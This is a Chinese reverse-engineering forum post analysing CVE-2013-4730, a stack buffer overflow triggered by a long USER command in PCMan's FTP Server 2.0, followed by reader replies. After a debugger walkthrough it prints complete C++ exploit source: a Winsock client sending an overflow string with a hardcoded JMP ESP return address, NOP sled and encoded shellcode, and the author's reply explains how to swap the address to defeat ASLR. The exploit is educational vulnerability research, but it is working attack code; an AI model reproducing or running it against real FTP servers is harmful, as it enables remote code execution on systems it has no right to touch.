吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 16254|回复: 22
收起左侧

[漏洞分析] PCManFTP v2.0(CVE-2013-4730)漏洞分析

  [复制链接]
猫捉老虎 发表于 2016-12-30 18:58
本帖最后由 猫捉老虎 于 2016-12-30 19:09 编辑




1.  软件简介
PCMan's FTP Server是一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2. 漏洞
       PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。

  
1.png
3.  逆向分析
(1) 已知登录USER名字过长导致的缓冲区溢出漏洞,OD加载,在recv函数下断点。

3.png

4.png



(2)程序运行后,发送USER溢出数据包,段在这里。运行到返回,到上一层分析。

5.png

6.png


(3)发现recv函数,分析附近的代码,没发现什么继续运行。

7.png





(4)发现在revc下第三个CALL出异常,进入分析。

9.png

(5)发现抬高了栈,猜测是要拷贝数据进去,对栈进行监视,运行,观察变化。记住这个值0018E554 和 814


10.png


(6)发现在这个call处数据发生了变化,这个CALL就是拷贝。分析后发现没有对长度进行限制。

11.png

(7)查看数据中构造的jmp esp 位置,联系代码上下文分析发现
0018E554+814正好是0018ED68就是jmp esp

12.png

(8)验证自己的判断,运行到函数返回查看。

15.png



4.  漏洞利用(源码)


[C++] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include "stdafx.h"
#include "Winsock2.h"
#pragma comment( lib, "ws2_32.lib")
#include <stdio.h>
 
int _tmain(int argc, _TCHAR* argv[])
{
        //1.初始化WinSock服务
        WSADATA stWSA;
        WSAStartup(0x0202, &stWSA);
         
        //2.创建原始套接字
        SOCKET stListen = INVALID_SOCKET;
        stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0,0);
 
        //在任意地址(INADDR_ANY)上绑定一个端口21
        sockaddr_in stService;
        stService.sin_addr.s_addr = inet_addr("127.0.0.1");
        stService.sin_port = htons(21);
        stService.sin_family = AF_INET;
        connect(stListen, (sockaddr*)&stService, sizeof(stService));
 
 
 
        // 构造Exploit
        char cExpolit[5000] = { 0x00 };                        // Exploit容器
        char cFill[5000] = { 0x00 };                        //填充字节
        char cNOP[51] = { 0x00 };                                //滑板指令区 /
        char cRetnAddr[5] = "\x37\x73\xFA\x75"; // JMP ESP 跳板 
 
 
 
 
        char bShellcode[] = \
        //
        "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x4D\x01"\
        "\x8A\x04\x0E\x34\x1B"\
        "\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x1B"\
        "\xFF\xE6\x5E"\
 
 
 
        "\x4E\x90\xF7\x98\xF7\x2B\x48\x28\xC0\xDC\x5E\xCB\x70\x7E\x69\x75" \
        "\x4D\x4C\xDC\x5E\xCF\x7E\x77\x28\x29\xDC\x5E\xC3\x35\x7F\x77\x77" \
        "\x93\x46\xC7\xDC\x5E\xFB\x6E\x68\x7E\x69\xDC\x5E\xFF\x28\x29\x35" \
        "\x7F\x7D\xDC\x5E\xF3\x77\x77\x93\x46\xF1\xDC\x5E\xF7\x73\x7E\x77" \
        "\x77\x7D\xDC\x5E\xEB\x74\x1B\xDC\x5E\xEF\x6C\x74\x69\x7F\x93\x46" \
        "\xE3\x92\x46\xE7\x4D\x7F\x90\x2E\x2B\x1B\x1B\x1B\x90\x6D\x17\x90" \
        "\x6D\x07\x90\x2D\x90\x6D\x13\x92\x6E\xE7\x45\x90\x4E\xE7\xA2\x9C" \
        "\x29\xC3\xDB\xF3\x45\x1B\x1B\x1B\x48\x90\xEB\x96\x5E\xCB\x48\x4B" \
        "\xE4\xCD\x48\x90\xE3\x96\x5E\xFB\x48\x4B\xE4\xCD\x48\x48\x96\x56" \
        "\xEF\x90\xCB\x4A\x96\x56\xF7\x4A\x48\xA2\x39\x62\xA3\x02\xF3\x28" \
        "\x1B\x1B\x1B\xE4\xCB\x48\x90\xCC\xA2\x78\x92\xCA\x54\xF3\x3F\x1B" \
        "\x1B\x1B\xE4\xCB\x44\x45\x40\x90\xFE\x46\xD8\x4D\x28\xED\xF0\x12" \
        "\xDA\xD5\x1C\x14\xA5\xDB\x18\xEB\x5A\x91\x1A\x9F\xDB\x6E\xEA\x20" \
        "\xCD\x45\x14\x8F\xDB\xD8\x4E\x90\xF7\x98\xF7\x0B\x48\x4D\x4C\x90" \
        "\xE1\x92\x56\xE7\x28\xED\x90\x5C\x27\x90\x5F\x23\x63\x18\xDC\x90" \
        "\x53\x07\x90\x4B\x3B\x18\xD4\x90\x43\x03\x18\xCC\x92\x56\xEB\x90" \
        "\x53\x3F\x18\xD4\x92\x4E\xE3\x92\x56\xEF\x9E\xC0\x6F\x3B\x90\x17" \
        "\xA9\x90\x4E\xE7\x18\xD4\xF3\xBB\xE4\xE4\xE4\x9F\xDB\x6E\x06\x96" \
        "\x58\xE4\x20\xEB\x6F\x09\x90\x4E\xE3\x5D\x20\xE8\x69\xFB\x90\x5E" \
        "\xEB\x44\x45\x40\x90\xFE\x46\xD8\x28\xDB\xF0\xEE\x90\x5E\xEF\x90" \
        "\x56\xEB\x14\xAC\x1F\x6B\x90\x1F\x9A\x18\xDC\xF0\xFF";
 
        memset(cFill, 'A', 2005); // 溢出点的偏移
        memset(cNOP, '\x90', 50); // 少填充 1 字节,使其有0x00结尾
 
 
        sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetnAddr, cNOP, bShellcode, "\r\n");
 
        //sprintf_s(cExpolit, "%s,%s,%s", hexData, hexData, hexData);
 
        // 向FTP发送Exploit
        char szRecv[0x100] = { 0 };
        char *pCommand = NULL;
         
        // <1.接受FTP欢迎语
        recv(stListen, szRecv, sizeof(szRecv), 0);
         
        // <2.发送FTP登陆请求
        send(stListen, cExpolit, strlen(cExpolit),0);
        recv(stListen, szRecv, sizeof(szRecv), 0);
         
        //关闭相关句柄并释放相关资源
        closesocket(stListen);
        WSACleanup();
 
 
 
}



5.测试成功图
good.png

PCManFTP (CVE-2013-4730).zip (389.92 KB, 下载次数: 168)


免费评分

参与人数 5威望 +2 吾爱币 +5 热心值 +5 收起 理由
wind706 + 1 + 1 已答复!
zsdtylj + 1 + 1 大神厉害了.我有个类似的也经常缓存溢出.借鉴下
xiziyunqi + 1 + 1 谢谢@Thanks!
arryboom + 2 + 1 真正的好帖
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

a42010316 发表于 2016-12-30 19:12
沙发?虽然不懂但是支持楼主继续加油

免费评分

参与人数 1热心值 +1 收起 理由
猫捉老虎 + 1 感谢支持。。。

查看全部评分

 楼主| 猫捉老虎 发表于 2017-9-5 11:18
安静的小酒吧 发表于 2017-8-31 08:54
我测试的时候为什么0x75fa7337这个地址没什么内容? 不能实现jmp esp

win7以上版本系统中含有“随机基址保护”每次系统加载的地址都不一样,所以我的漏洞利用中jmp esp的地址,在你的电脑中并不一定是jmp esp ,在你电脑中找到一个jmp esp 地址替换上去就行了。
llzy1456 发表于 2016-12-31 10:47
jikoko 发表于 2017-2-24 10:19
原来了解到有这个洞,一直没动手测试,今天有幸看到楼主的贴,我也准备动手学习下
goodboy_wkx 发表于 2017-2-26 13:35
先收藏了,有时间再看
hx1725 发表于 2017-3-1 14:28
原来了解到有这个洞,一直没动手测试,今天有幸看到楼主的贴,我也准备动手学习下
hacker忧伤 发表于 2017-6-18 17:27
路过看看..
邪梦 发表于 2017-6-18 17:51
过来看看,感谢分享,
xiziyunqi 发表于 2017-7-26 10:59
谢谢分享。
头像被屏蔽
lausing2018 发表于 2017-7-27 05:42
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-8 10:39

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表